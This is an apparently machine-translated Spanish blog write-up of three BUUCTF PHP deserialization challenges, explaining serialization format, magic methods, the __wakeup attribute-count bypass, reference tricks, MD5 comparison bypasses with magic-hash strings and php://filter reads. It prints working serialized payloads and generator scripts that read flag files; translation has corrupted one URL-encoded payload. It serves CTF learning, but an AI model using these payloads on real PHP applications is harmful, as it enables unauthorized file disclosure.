¡Aprendizaje de vulnerabilidades de números de serie! BUUCTF Geek PHP BUU CÓDIGO REVISIÓN 1 [Net Tripod Cup 2020 Qinglong Group] AreUSerialz

 

1. En pocas palabras, la serialización en realidad está convirtiendo datos en una estructura de datos reversible. Naturalmente, el proceso inverso se llama deserialización.

2. Formato serializado

 

 

• a significa matriz (matriz), 2 significa que la matriz tiene 2 elementos

•s:5:"baidu" indica el subíndice del primer elemento, una cadena de longitud 5

• s:13 representa el valor del primer elemento, una cadena de longitud 13

•i:10 representa un número entero con un valor de 10

• Durante la serialización, solo se guardan las variables miembro, los métodos no se guardan

Especificación de formato:

•O:1:“A”:3 O representa un objeto, la longitud del nombre de la clase es 1, el nombre de la clase es A y hay 3 variables miembro

• Dentro de las llaves está la información de 3 variables miembro

• Simplemente escriba el nombre de la variable miembro pública directamente

•El nombre de la variable miembro protegida debe estar precedido por %00*%00

• El nombre de la variable miembro privada debe estar precedido por %00 class name%00

 

Método mágico:

• __construct se llama cuando se crea un objeto

• __destruct se llama cuando se destruye un objeto

• __toString se usa cuando un objeto se trata como una cadena

• Se llama a __wakeup antes de deserializar el objeto.

Métodos de derivación comunes:

1)__despertar:

• Versiones afectadas: PHP anterior a la 5.6.25, 7.x anterior a la 7.0.10

• Durante la deserialización, si el valor que indica el número de atributos del objeto es mayor que el número real de atributos, se omitirá la ejecución de __wakeup().

2) Bypass de referencia:

•$a->var2=&$a->var1, especificando que var2 es una referencia a var1, por lo que los dos valores son exactamente iguales, (similar a los punteros $a->var2 y $a->var1 en lenguaje c apunta al mismo un pedazo de memoria)

Ejercicios BUUCTF:

1) Desafío PHP Geek

 

Después de intentar durante mucho tiempo, no pude encontrar ningún rastro en el código fuente de la página, así que traté de explotarlo.

 

Obtenga el código fuente, en index.php

 

Pase la selección de parámetros, luego deserialice

<?php
include 'flag.php';
​
​
error_reporting(0);
​
​
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
​
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
​
    function __wakeup(){
        $this->username = 'guest';
    }
​
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
​
            
        }
    }
}
?>

Para la auditoría de código, necesitamos hacer $username="admin" y $password =100 y omitir el método mágico __wakeup para evitar que $username se convierta en "invitado". Para omitir la activación, solo es necesario cambiar la cantidad de atributos de objetos serializados a ser mayor que el original El número de propiedades de objeto de la clase.

 

Hay caracteres invisibles, necesitamos codificarlos en urlen de nuevo,

 

Cambie O:4:"Nombre": 2 : ...... (omita el siguiente código), 2 a 3 y luego urlencode

payload= O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name% 00contraseña%22%3Bi%3A100%3B%7D%0A

 

2) REVISIÓN DEL CÓDIGO BUU 1

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */
​
highlight_file(__FILE__);
​
class BUU {
   public $correct = "";
   public $input = "";
​
   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}
​
if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

Auditoría de código:

Requerir $correcto===$entrada,

Sin embargo, debido al comando $this->correct = base64_encode(uniqid());, cada corrección generará aleatoriamente un carácter, y hacemos la entrada y el punto correcto en la misma dirección de memoria para omitir

Aquí se usa el bypass MD5

1. MD5 comparación débil "==" pasa por alto

        Método 1: utilice la vulnerabilidad de la función md5() para eludir

Es decir, el método de usar una matriz para omitir: dado que md5 devolverá NULL cuando encuentre una matriz al verificar una cadena, las dos matrices obtenidas después del cifrado son ambas NULL, lo que significa que son iguales. así que sube

/?a[]=1&b[]=2

Puede omitir el método 2: utilice la vulnerabilidad de comparación "==" para omitir si el valor de dos caracteres cifrados por MD5 es 0exxxx, se considerará como notación científica y significa 0*10 elevado a xxxx, o cero, son iguales. Todos los valores MD5 de las siguientes cadenas comienzan con 0e:

QNKCDZO 
240610708 
s878926199a 
s155964671a 
s214587387a 
s214587387a

2. Comparación fuerte MD5 "===" omite

En este momento, solo se puede usar el método de omitir la matriz.

<?php
​
​
class BUU {
   public $correct = "";
   public $input = "";
​
}
​
$a = new BUU;
$a->input = &$a->correct;
$str = serialize($a);
echo $str;
?>
payload:
GET方法:pleaseget=1
POST方法:pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

3) [Net Tripod Cup 2020 Qinglong Group] AreUSerialz

<?php
​
include("flag.php");
​
highlight_file(__FILE__);
​
class FileHandler {
​
    protected $op;
    protected $filename;
    protected $content;
​
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
​
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
​
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
​
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
​
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
​
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
​
}
​
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
​
if(isset($_GET{'str'})) {
​
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
​
}

Después de la auditoría de código:

1) Se encuentra que is_valid solo nos permite ingresar símbolos con valores ascill entre 32-125 , es decir, símbolos que se pueden imprimir

protected $op;
protected $filename;
protected $content;

Luego descubrí que debido a que las tres variables anteriores están precedidas por el modificador protected, si se agrega %00*%00 delante de la variable después de la serialización y no está entre 32 y 125, esta función no pasará (is_valid return false ), es decir, no activará $ obj = unserialize($str) .

Para PHP versión 7.1+, no es sensible al tipo de atributo , podemos cambiar el tipo protegido a público

2) Nuestro objetivo final es obtener el contenido en flag.php, por lo que debemos ingresar a la función de lectura, es decir, poner op=2 (ingresar a la función de lectura), omitir op=1 (ingresará primero a la función de escritura) , y luego $filename = "flag.php"

<?php
​
​
​
class FileHandler {
​
    public $op = 2;
    public $filename="flag.php";
    public $content;
}
$a = new FileHandler();
$str = serialize($a);
echo $str;
​
?>
  
  #序列化后的字符串为以下,试试这个payload
#O:11:"FileHandler":3{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
 
 

 

Puedes ver que el contenido de flag.php ha sido leído

También podemos intentar combinar el pseudo-protocolo php usado en la vulnerabilidad LFI,

<?php
​
​
​
class FileHandler {
​
    public $op = 2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
                     
    public $content;
}
$a = new FileHandler();
$str = serialize($a);
echo $str;
​
?>
#$str= O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

 

 

Es la primera vez que escribo un blog, así que perdónenme si no escribo bien.

Supongo que te gusta

Origin blog.csdn.net/qq_58869808/article/details/125991530
Recomendado
Clasificación